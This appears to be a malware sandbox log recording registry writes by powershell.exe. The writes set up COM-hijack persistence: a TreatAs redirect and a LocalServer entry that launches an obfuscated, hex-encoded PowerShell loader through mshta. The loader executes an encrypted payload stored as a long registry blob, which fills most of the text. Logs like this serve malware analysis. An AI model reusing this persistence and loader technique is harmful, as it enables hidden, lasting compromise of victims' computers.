\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\ProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\LocalServer\ = "mshta vbscript:execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -w 2 -nologo -w 1 -c \"& {(-join('2468696678626A3D2730433032273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B63753A5C736F6674776172655C636C61737365735C434C5349445C7B30353130303631312D303731322D303831332D303931332D3041303030423031304330327D5C50726F67494427292E2468696678626A29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"\"\",0,false:window.close\")" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{10061107-1208-1309-130A-000B010C020D}\ = "{10061107-1208-1309-130A-000B010C020D}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\TreatAs\ = "{05100611-0712-0813-0913-0A000B010C02}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\VersionIndependentProgID\ = "{10061107-1208-1309-130A-000B010C020D}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\ powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{10061107-1208-1309-130A-000B010C020D}\CLSID powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\VersionIndependentProgID\0C02 = d739cd83cb0dd5e70c5a4e7cfa63403a909621db9422369d51fb31c5dbe278cda83e432e4c5ebb6289953e723906f31f9d3b29e9a9bea286742bd639c4e49f92f718d99af84214d56227d210267f3653047eb3cffb8eff54ea35c54d1ca90a9c2acf34d569c34197fe140c95be8a6b684dabf7e54a578ea104b353dae7bfb81f49659676e289ea65611bc3e3222ac9fb1de07055c32ae73f60783175c3d9294ae1a1a077410048790b0841789704199b2ccb58cde74a7ff7f4c30c7358d0030949e3a827d308c63679d8ed821efa1ebbf6f1f2a7d30b422ec6f161a51c1f913ba357def056f87a3010b928df311b6c70328757c30a4d516cd4f605bc7016ebc7072c6338e1b6adfb59dff59eb5b3cbdf2b602410ac184109d193c0d7acb36357b1e2881704e32e8873f047d0813c29a3ac7f5b02a79a9af30616e06d784d13c6d76e4d1debea5d7e5498611b8b4d9cd5627e9c752a542015904162e45fb3519985fe315111b7416c8c4da8739097c0095be247d411007435a5c3fbdcb42c3993db40d5168f3d3e5039496fc87d0401594dca182073ce3a47c947d7e5e9bfd7b5187a80c11853ef50dbb185f423fe34adbe4f01f3f666a223d3f5e4f0731b0077e8f8b10e32c3e6dde5ca48c5280d2b3f78b74742177188d9b5b7af8ce56b8b604653e4cd2f93c7841338b9a0410119208b4698f0c05487bf9f2d685ad12253ab2c2a467261c7828946cdcd2dde530d886ea9abca71a40bfa02aa484c9dabd0657394d2b26353e334fdb1d8941f4e5a7442b6343c72690271014e2145719f69d3ac709cfc78d6e7b49fc7ba651c463e0cd019347f4137c0d4667466f98ccbeaff35c2a5eda50367075e59c63e19a16b396956ea495e628b0aaeba2db28223f6f299495acc22ffa0fe1338b738e8e1ba9bec39e7e6a8deb025e32fc380c087406ece4fda4ab401dfc62d99ad4af3f968b51c9e91938a21473e2e91267fd3711433a3ab19a70820835f11bf62059063ab55d263462373723714432ea6b5648425f1394754f62b430c494febd3ef5ea22464cfe3fbbf25424ddc744841ceee0438286e09aca589d6258c81a1aa69bc12beec0a09278c084ced44b83df0095a84ba881a7d5002107aa898ae9247e49c5aef94cc883754a5df144ab75e219149f816dfc1f0f908039a00c42c96cc1b551b23d7077a5a1b6ef43beaca753b1deb79e5348bdbe1eef79446d1d4aa455c2074f1d3b2c28b05974b5abc83a3b5892d17eb2d9e20143b25f4063339b40685d3e7ffa31a1cbc8a7bbb37e11c5b23c90e466a1a8ae464c0fb7a6b1decaf85fe1e1704c410e154ff4e331695a196c6be0645e441e6e4ce529b15ff861d53c5a781502add4f54fdd8c2dce6162c27ec6443f0d4334f655ebb2db5d92ef0b98b640814630bbf4478f1fd27dbebf5645fc1581a8cb6c6208a12c04972fae7e8fc879dc872a5b658f7a7fcc6e307942a150bde1445d459c54bccb6e5070396a96f2663e77ba6ecd633678081926be8f62e3ba4958b1857f613ee505b843395fc3ef13f19f3d1a00981718dc3ed075bfbf1881cddb8a717bc79a3b46a566f3440447cc8bff114d2a342e084efcc7524aeb168e50d1cc32d53094fd6c83331ae62918635c3c9e209a70b2fc85d5474c1d1a4fec2c8bea8bf58bb81116948a8414c2054a1da24fd18f50aaa4e5db0b2d56a0bf37a74b9f993809d6dcc2f520ac8a8654a01a3bcd4f36b8a2fde893695d677c29a80b6c9fa856fc6fc960034647b0a1eb0c6f5b2f2f6b96a87d76f36e2877a3776ef52cece18e0c5e2b12c2cb9004fed872a0fb2fed04ad7695d058b774b48a88b80cd80f224e8c3e34d3f683077f753141937bb6da47de9b2cb041a022245cb10239366be84382766d3b0c1f1eaa34befa294496d576cde21e887f71ab5b95faf0fae4cd7e479efcead94022133acb8af5d0e99d768ba1409edca3e0d5f046f46cbf08082576caefc1cf9aae850dfd5ef098dda3c3baf52ea86be64c6f00dfe3b475c79241bfc29e863c916545e2814fb8c61965612d3c27edf6b62941b9f83179bb3086939693750ad116926b2a24b85b643283894858ec4ba3d0cc3634632107afec473d64ed9de47b4a2d94e32ce9f8a091a581133ee0766f2bdd9168a5994eeb3be6869a4371c654e40006c17e66a05a8d54e187c0f2c1db6e63db194c7474566fad0a4e16620fa645c8a4b95845db6e3f6a77861fd9776451d7feb8a16cf83ce0edbeee9e25e994b4e7c881f0f8e54416eb62c780a8708760d03681b79da376bcc9beb8dacb957314a90218c8de90fc607c1de218343281e64df0e38a0934902e4be2572bfe982b0d039346a2f833e409ac45364a5cbae624de7218b74c3c2bfe6a89fe079f6c649cee4ce90b34076955250bb8593534b386d5cd994ba4187b4124b1be431a95d70ce4e62682c1b354d796463433e41def7344ea038965d8c11bd807461d7e76a40da880cca550af1f6f24cf2cd49ccefe362b558c096c624de6475b85b13c045be9ad7791f626e0d114a606f3b1f2b8a321f32ca48ad411ac1ccbd75675d56c5cc4bc50e1126e9f5ebf37bb2289030cb79d3fa305e1f946e9893878b4ba75c59907365d79aa2cdccf73c987cf5ed271ac1d551390362ed10f8f3f49cbd1964fb9cb6da7fa877c05957c8795f93713d2fba450aeaa54272c0bd1a40977866145a13ec5e1ed1ad65d43ef1d8fc4a7b9945b377d076c7d48374db7d4a46ba505098c9d7e378b9d4d1267712b8facb940cd1d0838b20fc669a2560617b4b10490425fc35c6bf27283bd873d53f5687cdda3ee8cfbd626d4a77bae60a51a8fb6a9fc59810a33468f97c7cc72471521266457218a6469811d03926c609bace9c3b39d27bdd2e43ff78bef6d539a61fd0ed2150f12673829df694b4d73e8e20d48126afc553d9320187eda7cdefbc3246350b323d44891b6e65b3c3805727d07c6485d602a1f24fca042fa4102621baba2b74fad4f19de6e4423cc1ea413cdea0c7052c945a679ca429db68c9d9e2ede3975234b54dc9ddd2a7d9b16c13fe94832c645e7b4b20d8ecb9e38d6d73de7f01405cbe26cd150dc234adfae77ad0be58faaadbf4d9cfcf7fbbe8ce1b9bb080ae738aed48125b03ee77ed0f8e1ed6214cdc9e285fe0c11711206b50d3960ec93dc230da2d67f70446558de54ba123063f6b177583aec8b92fc8ed6572050fe9d461be1431fff5760b387f97eb57e28539c17505c6b514e5adc413b3b0304a1d8c1a121a9bc1ce99c1ff1f12a4529208b528f1dcc5a4f86d574fb04ea921f8d879345f8addf3689928ca74b37aa4754037c3e960b3a85bd85549263921779b6bd9c19a7abedc2369ae4e462486b915d187d83a6fe8d4bb3d799e1c8f9a716b50ea769a3f83c47e0e3beb92bbd9c9b40b8cfcb22fd377acb8d44e4dcc8933b7569b3b3ec7fe7c773409fe1095c2498d6410a0dbac6ab8728f8d34b003cd8aa36c40cd82d73d8a7c332c68a84f7ffa398b49259aab2d58adbe5c0eeaf264da77de2367280ed9c823233e79d4565b1ba7cd693d92b82114f08fd777e4d065fb1201667953356e7f300e882384ff96b367d8fa458ddf3be5cd04cb6c5144b339800b92295d2d7c427688a0810a2a8a307e09a4a226a7838d419b450848a3c52f615f5009bf51ce488aafffd04d1691960c16dc1ef22f0896c1622cc15de6954db537091a8143e77508526b86420bfffcb7a767228464c82bf4214895b1bd791172a6224c7168692d876c892f70d382898091ab40a5b45017410cc4924a7dfc1b47d2b851aee28608164f5118e21d48a7f492ba82f582421b19f0f99e5fc83ef4c99aef9d1074d98475fa2f1b628ebf76720a8c3bce0638d1650cf56b589049b517fde2e4a81624b1b82c04523f08e39e828f6a2faf7e0e5383c6196c0e54a107ccfb7e936f9b298c0183f09fa01b879e075186d9488cd2980a5c69f30ffa3d023f346f2d7b47d68442180205bb024d4f19f02a76c03274182f8141a8796d64ec2d368eef018cf8003f641d0350940211707860bc4d4977599e94f9bc16f9b1f372aa5a6184896af167c5d1c287bb3b6b174839553c79221dee8d46089b02829afe49b060a3b2e01402acb05ad94a1e188d2530b45f7e83a4c7ca97ca3ed37847589916ece29b80bab6de026c488a767a2bcefcfd384e105cbc25397952427fbff9f67ea66e83964bed7cd0a156855e41dc317a073bba861f2eae65ec813b78455e564f4ffe428e6bd03de21e16d355be8b8af8098c83d1877ce20d139825c3da6940e6b958949ce9c309744ca773ec60ead27e73333a4af7a28932dc331ae3ff65319890a8e5bf5708f64427fe0f0254e144b8a24325c13888b0472a8f58f8d289b3e53f2b8858858bb16b165cd6db3d2b2e7da067bef4122e507c64de76b93d608fdf5b272f39cc3ed114f42dbb9544e671f58797f6c2f6c926a7f8983dd7cc2ba499259d228e719a42886639e95c7e73ab23a9a1d28fa05fc6953c789cc087b836900d6ee22fef058e61bf303a8b086ec0a53c7110a9e99ca12d2319e84a5f7c3f4096f221c03d38835a5975b36625c2b12808fa3be917bfe58b94a4fedd15dc52c04e8f00f2fbce165229aedc47a44e2903e8efb92bc84d13a4dbc830c9f091a7cc8875cee4896898f8a587037147aa658578d6a08df38b0a64b82a3d68496785ee4ef5b561c2931cdc343cea93f3bcf461a31e15ba7d298390566996a525e1b589825a88551ef745cf849bfc3ddf6ad2707c988bc3630b540b91dd3490f8e8d20fbce6ec9dd23f455f5535f1c0854a94ebaa0a02f5705d0c592c6a487216927301de108c71b0afa39cdc10178157bf0a8b241015b21e9327b29ff8bad18e7ccd3ee3e4a879cc767d09e92c811a9c4f4f2acc6fd0aa47f72aeb30559493a6e307f3f086739bd3f99dbe4d29f32504933fc94243922cf5244c7e28a0319e50b2e78e8e1ac72a3b23b773d8d9250a5db667f91e95dc4f649f8cb794010d749a02485f914efac436e4a2b5df920f1a3c7c9d614f4a57f068f5981408589d8c8a2502a8253d996b3709ac4678d7adf0081b534a83c2beea40631583b28d874b51dffbdccae922bbe34cd9c9f239239eba0086a21f5812b8424aa5487d791d8d3b30b7d648974b0f0ae582137bf57c43e302098039ff2d14ccb1e8cf83aa283c651a95a7e2fdc981c8a4d1313e013da817a9044181e0e862d10ab4c55165d2a7c5f27e50f87c2b5bf9ce0d43cf89e3844398c43dd5c079bf5c450f2883179f9ea9e68f9d86cf7a12eaf94e022d0e89cd552914b5fba41ef7eb59c9a3ceee49092dd3fe7288a94ff0243bf0de1d1189ff8e97e8ea558f3dd3065da13d59ec7e4c41fb48885e52910b7d83b838640c6ed8577bde180d19f31c0154d51169cfeea7ebe588a0c5b72f1c9800978b1b37174f61ddca6c19309c2746e28260e7e3fef1d81cda4090a64dcf77a7afea1de04dc04e55bb447d4312223d251cf95fccf5757e8211ece1765a3ed9bf7e9ed787b385f249ca93c3088b2a0ca385eaad0a89dbf56285243286a269c2292377342db42faed79c31a5c336da88b2ebefd4e413a84eb7dc3d6273ff54fcee14f944d1984cfb74d6c7f8a6ae14c15c411895090db68bcf9d8a36f0230d8bee39b04b2d860c3cea4ed7e6190161879c587f582e0154787fb4dae513ccabef00f2b227efc211cfb62360742d67065acc2ee2acb33a3a0d23f8c9383ec7baff7a4a96f8bd2b424c42b8963410f1c78dc2f6a2b75aa437939e3509de5b92aa0df00a827e835ecb034684d16c072b985184e5baf6ca8c0b8aa10fa6a1c9bde9da6eb571b8ec0cabc7b4873aab1c1091b88d57fe826b653bb565125ea15a88bd2c653dc20a3893ce3c4e5bdd3f7fcb0457aaaea38bb124de804cbe83bebe6e396296a989968182039a0f1b1c52ed92324f02edb70f177e4fd23e934ed4975128a65d17e73a556ebafa43714f9471aab1d9718d82454edbcf7c09f50d704205e3dda7f39aee0e3296f9dd70efb1e763f74d93bea895632159ddac329d7652feb84189431dac88e2f0f7d9e96b0be97079a5b749ac0cb7bbd6625c65a2fa18cab620414e7fcd2f15762629c9f485963d1eb6fb7aaa252c18902d1fa29ea3fa512bcd06f528b698acda6436e0ca046caf2e93bf8d01672244d4b302333c97be444d24fe31bb96593601576a8bc18ba234385e0db0e6a76472e2be938dae3216ef085fed3acccf15e74f5532a787597aa53925d3f95580244690a6789cd63069bceabd78b48c7522208d8dac9c6fbc9bd977f667f92848ba8a47ef6f843dc852992f35d45bc08bab7740cf39c7261cbc1a9210f5822440979be295a2dc314c34897f2931d0a512b809bde58efd30d5da670aed0ffd92720165c819979de3e714739e40042d9c6004aa4cfdee428cf19fd0a735262a7765039e880d090a945f4ae5d28650d17e2b6987657076ff74bdf2b40e3821dbdb37a0af969d79df586e7cbf9e832ee8262a9b98ae0271bfc54f26d7f6d2edd72b820f9ae63dec3128c1b1f3e5d4e42e9689b2d6bfeed682c7ab785ebf167d7d251ca534d9aabe6d9501529478dd9d0efdc5e3864ede4594f2b55df85574ee8506143057988d0f8ad20f1cc1a34990f5bf9f3b55aee36b452e140720ff954a82816c17a769cca93b4b7af74a4b7038590c274a44812578864d302243254687cbe96b3552be886a4638cdd029707a6170f6fb1f952df4f293454d6db62b8dd3157c51107df1ce702ad099b073238c80bf6c03c7dbdbaf963a13af5f201128f1f82d35685cc3b280ab83ffe63b6be2a2be9071896bd12de75f1c66f6e62635cfd946962f4a27a35b57fc4f38fb4dc1c69f1fdfd68f3489218750b288a59ae2fb7b151ea766aeb52c80cfd2c3869cdd1dca979b10888aa5ff14cd5aef4765309d61e26f8d9602ee1794d2c2f0c869f1e34e516c5bac88adf5c47b42d333bccbd32105a7ad39562d33273669e15f87c9d0867690bcc0d024b4e50e35f3b6d7351ae991cf0b8f2cebf1c7400bf5f4ccff82135a2bd7531129482cbbcb463fadd8ee4d8e039db9e12aceefb0f5878aed3e02b5b6fd45ca31966bc49a1e1d0606db2b0258f56abd89d3a741cbcccb381c5fe49c2b6666c07635468b8ddbb971bf18f7fa357fde7fc936e4ed69b7599ff46d30bdedc52d2a3b3bc98b3c877a75428982e57a9b8dea08dda554d051c20a858e42c796cad23512416fef522426007a7751d882860128daa20ccf6cb51d52b6f68ebcf5b7c37dd34bd933149f1f47ab98d6d7fb031db9e8d47a09b041938c057a3ad51719fbb5838594a43eed1b169967880c4d9e0ec3a1a308b437056558d9cf27ec08e52fa13b9f4fa78af4d12c861faef496c7b25f776fe00e8d820514004b146c8ba31dad27bcdcc1503dcb2c03422efd831234b70d07b066ea7168a7bf73e030240b6fad1b29dbe7ac019e0e3010453d437316a669748100a6639a0bd112a220b0af3a0650e561e73140540a841ab3eb1c7a326a8afb37aeda0d4a9faf026b51bc28dbdce9cb4dbb6971962e13af7a7740cb0e389642ff87c6e49c69bcfa0711175c0ee34ba27a54d6d7a92cb7c048d09f7d22ab973ac200a11fa1135128f3ae8cb7cbefb61164690851d88bf4e2aad7d29c90c09ae667c14773828ad4f00d62a442eedbe6e00c52c229f1357c6d3a218906c6f53b6fb717217bf300cdb1668174938db6e9abe4cf682443fa72571ae4922e7dd9a835784b613f0c1b0bfb81c06586e3341652b053595a31a9b830ad69153f217963556e4913185a79ad28dbee91c98e81d1428631fe00b5145e7772bae9f1803ff5cfd7dbb81cf54919f27990021392d8121f21e6e5dacc985d29ea68ec03c8a914493322130c4021f256357bf8325644a65d83f7b963cf16e357cf61fb7c04072152e08fa4b66cded64df351a4272d1266b42d85cac881705719d1498a5bf8f9cdce5e664bf2ac734e4992274d57fb34c10ae4ecfb04a99b80992f053c4960ae1f02cb6f9b6d81d8a4d7e7ef00b8499e1fb626cf80b81ef0229d6c3b1fde95ad8ec9be61d0777db7e3da14329fd68d9585964531e777e36dea52f00febd447378ef67b3433f154d86a4b087a910e5f5b100622636e23736ccf977505a60ca789adf6273eca3b4434bd580645c805a6294825e33b2e35f0bec1c36969c809ff0cab105356f0dc0f0b51d8c2b6cf038f62164ba86b135352c06c43e962f8137a824b446efc9a433bfe613397300554462898ca05624076ba23c908b7b38c7a5990a45383112c6c5d9175a6b05ba173e5b7c90f0ef4d4f77dd14e75cc1786346790be4caf6136b9f9217016112f429271f16f7320d4827ba2b6af6985e1a1ab352e82a38131de3884327bd56b1c4683fbcf0f0df9e30470243f7d2913cd2c7826a8fa0e998e39c274a8d1381a3f14f1f76a6de0852a2223834171293d774c385454e5a4a7dab32e8efbb2478dacd0a105c56af619ed0ff12aba7edb906e7bd83d1f3522973f5bbcedaa4789004a5016d1d40911ca45369c30aa08d9c420bc47eee820803ce72de9f813a08de3d9b32c7ea3b74ca7e080b5e5eec675f251c17bdadab83c3bcdd5b1dcc507dfaf6cb02847dbc0a00f6974996ab41495e73ac0099afe10ecdf57568ebe30fd87c072ff2a99388bff01801b9b424fd0833eff7ed099a625e073fac1f94c5521502ebf3af9c9bbbdd7f4fff0c253339cb4bde9661d3aeb25f4b8b54c54c6c77a4420aa8ff9c2f930aca12e1c0704a9ec9cb3abf329c0f133a764f75febc2b4f8e5220e4fe278f1d9fafb03d93cda49b89063f00a3aa14c7226bd01050c9ff5a6a841c8837d9c91eecf0e4eb1e21cd6055e87ffa7862e4d0dd5459694ceec195d61818af7bcfdb5467c1155aa2bcdfea88f270b19c4261006d710bd442dda6a3c6df84cf88c1a2bf53674e1aed91ccb5adc8398231d1e5845010a1c6922756a03ecdb28289003a8b84a37ec621a5af4b506c04e1b563a39f368551ac84b2697ce13e8c2729b8afee546219ed620cbb0afdab7557fee5ebfabc67bb9817699f5a42f36e7a0e086e7aefb65700ce1c769f97cfa9b99ec183ce812a8f5131bddf83a5de682743646508803b67db0aa753b9fd717d5da07906d18ede64bf6d2fbf83bee07afd86794991a7f78920e6426c39e95536658821cbcb9921e07037ac34ada793db4b7c7515aa55e78e8ccb6d81731263fab510f37302c20d90e72602c1520869ecb93f025f9af49727e59ad798c261be1e67cacd9d1af92a6419599f802abe514d7c93b4a6cde8d9fb63341354e7d565090b8303a9a9a7e1e4c2650c3579cb057ca1041bf8eb4ccc266ba0d5260a8e0ea42028deec5a3dbdeb2b95fb4a847bb2e64f561adeeb70cd59c0e135359a66660cf0511aef620fe8c12556979b1c8cf89b401512cd5ebe587bf5c9af24242bc892a5e89aaf8452c1569dceaf750aa5b2d758bbc22226aee3f0f8b6aace22cad45b0c78f73234709f66006f19ab2dd17abce316341fccaa7ad9f9af40062301cdf36be1d51763166f3dcaf5afbaf96bb52e2d996de8f018e7649c1bc5978615c87b24b5f424f68645887717a03c3f3999198c49468f7b6f0193b07e8fccc15f1e436b9eac0a0a90712d3a00a1d27d4fc4c33f037c85adb3df15fde857c44e32bb0dee1e85e900cba64fd1dc89edc9a6b6afcab99d01a519a9fa5d769bac05f836d94f102684901435866f0e99c5acd8cdf9098f7e7f966a95a790692534b56fa25c699ab2af5b775405913e0c6a5e2ff736553cc00161472ddfd16d5f936e56167da7808f94a4c08588021d6b62f51abecfd662a784381c5c1f5775b93963cf1d4676e31450e07d2af7e6ace470cf1c45a22d716a4bab9b4598ebe3c8ea275f16a09589139748baf5301bdc2ada6e513e67c7f0ca0c820dcf0533974e8e6e3b298f71e449df8f4307f5e962a61309dcb67e11de21da29c394a35580ddc27718c40f13e65a37783e597ae042a5dfbee5268591afb6e8ca68a2f6708654f877665e9a7d48c802e1d81e9c8d7bcc79d5ddf097419bf0b9741b45b0d200efe84003cad3d9c0230e74d50f8c22c629d306dd493f0bca072fb617ddaab95e0e5812252c48f6de3110eff19ece2cd2ed7e1c2488fa5f66734526a25d51686906e88570b9cc6977e21f9929160e57114a4b0c15ad707bc6ebb062799ee95916ab30ba5954d6c06a58cc60f1d45626acc1d104cd626f263de2df64a6904659159769247d379b953bc2ff72d93fcd15ee6a663b2c561859ffac5274367c93da4d0b33e7a2c5cbe722843c90f161cac8e20347127adee2279f1f920e28bd2e69b3be89e4c17495721f5ae25aebbfd50a9ad29dd4cf1c79741443f6dd9e1701665b022735ba69749095bf6dd45127aea3e11c281feb42449aadb52547ed1aec9524744a8e8896b73f80b363d2050639b9aadc411e28c050b9b94302f4c7978d7e38ee941b17b0a3f68f2e1f905140fcfe6491b156d0ca17f48f44c9b18f0151a1fb039824a7f27a93c4ad41ecc1986f4a06a3c6da54c466e82b66259a995324c052bcf05e09247111f49a723b153ef4ec2ad635591b7bb38bdea1749c5ca28799665933343f820d7b0be62f36ed690c85dfed111e03ea9d69d601e6e901ab05a61a0910026e781ab5acc84fbf4cc9d639a85007bbcc69fa3f7ecb369981d332761f8405eb9c9907074a31a17a0e215798aee570199e9804e8450b4bda2183446710070cdc3f018245eea48750d06a4161ba33286317408f78d7e60d7c40831cbc571df294a3809f91586edd5d6647383da31aad759961fbf62a75bf2e286fc873bac1627eede96bc2445c471158bb440209ba1c5e3566f0a19739d41a703335cf6e60369160d298508c54ae4a621b9b3e6113e1231dc92195bffaa5ce5a5e2fddcb66aa5b9e9b13be6af07c8199547116f55d4fcfeadb0557da3af506f8ee9a5f6cfa7f097f5da47dfa79dd46d524a76d1396d340f123e4e9f9c8a0393cb6acbf971fcff020edd9802ac3ffd82d23e0eba4617d294189643beff22544a9b411429083edaf5c61ac5c20f2cbdb176f726f43511a82874decf8133b2df4fa8a58ec690666f1be09dc68cc4fef2fb1c61802ef5d56a02b72589b53fb822538a40d1ed8a09aab4e47086cf1cbc27647cd6214c03621bc7417179803addcae816a5ea39b46a6348bab8a8394aa1260b77eda67bff608863dc4cb238682692de1745c3d12d75a7560967a2fb9a50fbd73d7c044019889979e28e2824379a53154c7309392a37aa92d03ca162051990f267c4d2583393f9f8a11c4f6915831135c9ec73e980b050ac1e1753645aa0b9734b7172269dad461b466cbc855c9d732ce5a94bdad844a350bba120da32fed0d40e526316aa2f1048143c4f63346556629f23cf60789f283219431f7db809d11b7441881423602c0c399f49943b8bd18991276fd532f9963ab19e75dbba24295a2085c25558885919825b43239257b1ec8f2b9ddb0537166fcca12f1a356baf2b940a97cc5991f93b7d0f82f129cc586e7c668e7ff01212f3695e282303e77f0e5308adae8381ca84907f240f62e30e1cf5d7c91bbd1d6145654122282854ebbb600ddca5f17afdf39599100c4b806d62a65c7337e19f987079a632912537aa0df9d98b9982b09fda3ac9fa9541cb4ff865db92188edfaa28f0974688f667e12c6a8f43649cdb03f47587aa5e328dccc14e5c6237103f4bcbe6dd152ac1c5cab0362f3415b0ec356ec3b7ef400ed473ca99fd6b67f5b08ca5766008734622281323a18d8c9f739a7dcc1d5f5ac11632104f6791b6f89732f0786c759a292111d731a447e3b8f036e39d9adff9bc306f03763b49350070de3879662487358228079530d43b7bc227d848b571c8b9ba51e75aac911b0b47096a2fb00c0804501dd4ac32486f7034b91b5c95662ffaf01441e084bbe7659515127fb66d1240819cac94822541a035536f214a8748ee02565ed6b10a63416a5fab3f0e93c1442f69c10f95e30cb8670f1f33be04eeccfed43633cabc9aa4b5f6f703e9b4c0e47c0cc9c01a6ffd8c223518d64caafa3289b0ea4202beb98c4f1abf0a2f9dc611fe9426eabd345c6e59dae59dbd985adc28696e1691e91b42da8a8fa0bdf5b42a53f33d8d3b0c1e22ba7ad14f95fc00dbdd2d94fdd88c9e10f88f9ba139d8f7482eff8c511f521fc9e6c2501c1d2e58e28fb2545ef8b7b4622c709fd29f697bbd1e7012c7ec3b4f9a8a0dcba0710b618c6dc8cf962556a1b2e75a42fd9bd2a6c6fc4248b05c4a11e4c0b2fb3c16fe84eaff52ca44a895c8b67bd5e29eefbb4e18bdec7461ab103a3da8d60170fbbbd206e9138185aa57b535eefac7c8b5abec1fa376ebc417e04edb63f84c28cac9e03555f30f2ad2c33e15b1049224e855585da22b356adef9a67253783aac97ede4faebdf4782b93a96491cf2e88c7afe5c064874e02b66fbf6e3771137f0a2f7ec2a3968cf8dbd41e7479d3eaa853981f0614dc2dec08519a9e61ffe418228f0a68f111b8ebcf324b19aba3557246e425520e75745d6f4bd4a566cda0a75af47d9eb5be9fe90b2621ec89575797f1e7800384144092de69d21981cf658ae2355e96369af3df9d2339ba89b055507dc5f117a85e598f0bef189f2f0f7dadd22a3afb399858a92479dd584ec22d93148bd34565cfa6c4fc899dec6fc9caa1a6059795b725bdd1309a614f9a72935d52187f76344ca38388e754f323e0351567f5f45f1ea558b091fc10add43af05732fa64585013bd459941de95af1defad9ad3a359da4e009e8f912a4a55001da7b87d75587eaa59aa446118440351a891295ae30d7d92a2be37ec4e9203f397edec2b29b05afecfb7c41bc6b1017baf50930b538c590710b4d2d10333326adaad704638fcf0ec45c20d916608665df4f58d905e540df2a932de1cd4aafba075188e27f12d617a409e20c9544f8a8a98eb692f1dfb25eba0a2a07e7f76f678531b94d95f9e7b78de029df832ce95acb3204547bec006dfdbf4505dfec8455bf355995e8e2102d593d5d9ea4bff3dbf8c76139f8eca7317183c94e976aa781a5f98bc64451cc99da9171ab7461dee9d58bc552d5556d42f69135bb265dfdefce6f1ea68464761de866577f71baed51aafa7f29ddbe00b67b923fa6236867a2edfb80e02edeb32b6180b34ee469fcddfb32766050fe02c553c2a96bd4ebc5f36ec7033ce305dcf9c90e61c721b9cd365f816093293e7ebab71fb573b0d1cec9d533112b05585acf579fdd2520223b0a84ca9ca2223f658d2e0ba2094740dd8f75276196adb6769b1ad7f3cc2e2e6ee3423e0d03b4000bfafa752cc0924c7c088206ab9344b2227bfbe71f446d7e04f8fe74795df1bb6ed54679661c86c49e0a4cb699ecc3775ea745796fcb01d3f5488d729d3add20c70d4c2b509113cf4b5d313bbaac12fb53dfae4869025463c55c150ca85e7c67665812f0c97f6fcd059014c465fe01def69b0285b35139dbf7a8c944b19031e191bc3a440792f0ca36cc8730288cb452fbcd1834c795fa4e353ed804e76a92f8bdbceee204786db2c95ee4b3d6c9b7b5ffc5d27f6141dce942400854e1382717e145488d93f78df21c7566251a03432045a1c3e22a84d7c2e3aad808fee0d58de7a779c55fe0d6ce53646cc2bc6bae5d7f72f17e825b594da20fbd706ca68209a6325246ed5c8cd1be991c27d3cd5b13bffe7d0cf53ca0fa4048f41ab823d3b0b2a92f590a518f7cb1f1bcc6f98433f056570412426bf78a3e8c31eb94e3ddda549586f77aa9d2568b8e8f561e84a209ca218b931260bd5af1cef0f4244afeaddd7613dd7591fa3a57bf48e049346e0b5c97d059fb55f50216dace70b5067fe472a68361c73effd8307d8f3893425b433a7cfccc20af3f29036be40f36c856365c051cde9a82b82cb6f8f1e196b7aab75dfc382c1bfec242dcd0869a8556a8990f7f1625a99e1ef7be0c86292cd50575bc14d5ae657fc8876a05ca5fe369f7663cfbdfe7b8afac48762d9c3f9c75bdc32d5dd2f1fe52585de62480769ce0bf140678696d2db5c06e8f3a2608c95d6998a948245c2739e05328cff1aaee4060548c8dd7a15728c222d1a08dd8b78a42855c360fcb7e77bad06111269211d35b28698c043b9224a6c449c51fda2e76fdcc4507f875a2a4332f6d53db8046178c4dc9d9e8c092b817074c69c1c136c54532523361bb9398a4be9afd7f7cf35469aaa3ce01c1bcdf1fdf501e07bdd57364a378ae456fbc176f6b6d74ab470839d35335e31a5ba1ddb7965bcf8aa31b7317476b9a1726bcdf5f40b77f9c31a16a383d084ad66184cb1385497daf0c1e3e4f1aee984f94800d8909581196ba46a04bee778ab6c591efee814c728fa3cb57489950692e4d474f7e9da7012f519ab10b19a60e6370b7ec12cbf1ceba77deb54adb75ab19813025750703399e50e18d4e79d425cfee83e55fc36887061ea6bce0cf5d7d47d2ae16ad2314e21df5633a68c236b069d114f75d505222086207aa8880bfd3cf7a786ae6138803d6ee879ecca905234f6bea432a67a48f438f71c94dbc6d4f8f5a849ca4f319f0ea0974c1ec0d55486f30017b597d14ae22a762993a6a127d138f284e1446bc14cee3164108d255bbf994057d1fea0a4c66996f671a75431c44d6a91b0e16cc3aada96f7b5a62efce4c2426e467f2265794896f829039a3bb0e852ae9ef50cd832ca79ab772f32188d7fb189888ebcc782a609d15f5698ef9cdf4857b39106f0b082b060b9f7361bfcef04444cb90f3070e36b0b3185767c0070e1b3c8e4e6232408cc7f5f2cc03179362ed65836ce1fb3f4e40903974644fb459985442e354cc9d937516c3146fd4a3f6a3c402ab93e9b7e41d87577398163d00264f25eca96f5cd861b7334b52d2